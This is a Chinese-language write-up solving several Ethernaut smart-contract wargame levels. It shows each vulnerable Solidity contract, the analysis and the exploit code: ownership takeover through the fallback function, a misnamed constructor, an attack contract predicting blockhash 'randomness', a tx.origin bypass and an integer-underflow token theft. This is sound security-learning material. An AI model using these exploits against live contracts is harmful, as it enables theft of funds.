1.Hello Ethernaut
目标:
安装好metamask,熟悉操作命令。
操作过程:
我们先提交一个实例,然后打开游览器F12.然后跟他的提示走。
先输入contract.info().
contract.info()
//You will find what you need in info1().
输入contract.info1()
//Try info2(), but with "hello" as a parameter.
contract.info2("hello")
//The property infoNum holds the number of t...
这里我们在进入infoNum里面。
contract.infoNum()
//看到word为42
contract.info42()
//theMethodName is the name of the next method...
contract.theMethodName()
//The method name is method7123949.
contract.method7123949()
If you know the password, submit it to auth
contract.password()
得到密码为ethernaut0
contract.authenticate("ethernaut0")
然后这边提交答案就可以了。
2.Fallback
目标:
- 您要求合同所有权
- 您将其余额减少到0
代码:
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
代码分析:
看了一下代码,如果要获取owner的话,有两种办法。
第一种是通过contrabute函数去获取。
(但是contribute函数中,每次发送小于0.001ether,但是判断了contributions[msg.sender] > contributions[owner]
contributions[owner]初始值为1000ether,这个要求我们很难满足)
第二种是通过fallback去获取。
(我们看到fallback中的owner = msg.sender;这就好办了,我们可以通过发送以太币,触发合约中的fallback函数。
但是其中判断了contributions[msg.sender] > 0,这里我们需要使他大于0.使用内置的函数去触发他)
操作过程:
contract.contribute({value: 1})先调用contribute获取贡献值。
然后使用contract.sendTransaction({value: 1})方法向以太坊网络提交一个交易。
这里我们可以看到合约的owner为自己了。
ok,我们现在查询一下合约的余额。getBalance(instance)
然后我们可以使用合约的转账函数。contract.withdraw()
然后我们再次查询余额。
3.Fallout
目标:
1.获取合约的权限。
代码:
pragma solidity ^0.5.0; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address payable allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(address(this).balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
代码分析:
做这种题,先看owner = msg.sender,毕竟是获取权限的。我们直接定位到Fal1out中,这里我们看到Fal1out,这里是开发写错了函数名,把这个当作构造函数了。这里我们可以直接调用获取owner权限。
操作过程:
contract.Fal1out(),获取owner。
3.Coin Flip
目标:这是一个硬币翻转游戏,您需要通过猜测硬币翻转的结果来建立自己的连胜纪录。要完成此级别,您需要使用自己的心理能力连续10次猜测正确的结果。
代码
pragma solidity ^0.5.0; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
代码分析:
我们先通读一下全文。首先定义了一个CoinFlip这个合约,然后引用了SafeMath这个库,定义了变量。在后面定义了结构consecutiveWins = 0。然后我们看看函数flip写了什么,首先输入一个布尔的值。那么参数_guess可控。uint256 blockValue = uint256(blockhash(block.number.sub(1)))。block.number表示当前区块数,然后减一。就是上一块。blockhash表示区块的hash,然后转换成uint256.然后判断lastHash == blockValue是否相等,如果等于了就回滚。
这里的意思就是不能重复上次的区块。然后获取到blockValue又赋值给lastHash,就相当于你要连续猜对10次才能通关。uint256 coinFlip = blockValue.div(FACTOR);这里把值赋给coinFlip,bool side = coinFlip == 1 ? true : false;这里的意思是判断coinfilp是否为1,如果不为1返回ture或者false给side。然后在到后面的if中,如果我们输入的值,等于就consecutiveWins++;直到consecutiveWins>10.否则失败。这里我们构造一个攻击合约,类似中间人,因为答案可以预测嘛,我们可以把得到的答案发送给原合约。
exp:
pragma solidity ^0.5.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue/FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } contract expcoinflip{ CoinFlip target; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function expaddress(address _addr) external{ target = CoinFlip(_addr); } function hack() external{ uint256 blockValue = uint256(blockhash(block.number-1)); uint256 coinFlip = blockValue/FACTOR; bool guess = coinFlip == 1 ? true : false; target.flip(guess); } }
操作过程:
可以看到为0,要使他大于10.
导入合约地址,然后执行hack。知道大于10.
Telephone
目标:
获取合约的权限
代码:
pragma solidity ^0.5.0; contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
代码分析:
我们看到代码还是很简单的,获取权限的话,我们先看看是否有owner = msg.sender。这里我看到有两处,第一处是在构造函数里面,第二处是在函数
changeOwner里面,那么我们要获取权限的话吗,就只能在changeOwner函数里面,我们来分析一下。他判断了tx.origin != msg.sender,tx.origin表示最初交易发起人,msg.sender表示消息的发起人。当然如果在同一个合约使用的话,是完全没有问题的。如果被其他合约调用了的话,就会出现问题。比如
合约b合约调用a合约。tx.origin表示用户,msg.sender表示合约a。就会绕过。
exp:
pragma solidity ^0.5.0; contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } } contract exp{ Telephone a = Telephone(0x5ad1DEE3Eb55CFb3592DA97247cBB9Cc76a46AC8); function hack() public{ a.changeOwner(msg.sender); } }
操作过程:
token
目标:
该级别的目标是让您破解下面的基本令牌合约。
首先会给您20个令牌,如果您设法以某种方式尝试使用任何其他令牌,就会超越该水平。优选地,非常大量的令牌。
代码:
pragma solidity ^0.5.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
代码分析:
我们看代码定义了两个函数,一个转账,一个查询余额。然后构造函数定义了totalSupply。根据题目,要求增加大量的token。那么我们使用溢出来做,
首先我们看看可控点,一个address和value。要使它变大我们可以使用下溢,比如1减去2.因为无符号,他就会得到一个极大的值。上溢比如指数相乘,超过了最大值极限,他就会变成0.我们在看看代码。
balances[msg.sender] - _value >= 0
这个判断写和没写没有区别,因为是uint型的没有符号,是恒成立的。
balances[msg.sender] -= _value
这个就是我们利用的点,首先balances[msg.sender]是初始化了的,为20.但是value可控。这里我们比他大就可以造成溢出了。这里地址可以不用管。随意就行。
exp:
contract.transfer("任意地址,但是要求存在",21)
操作:
看到为20.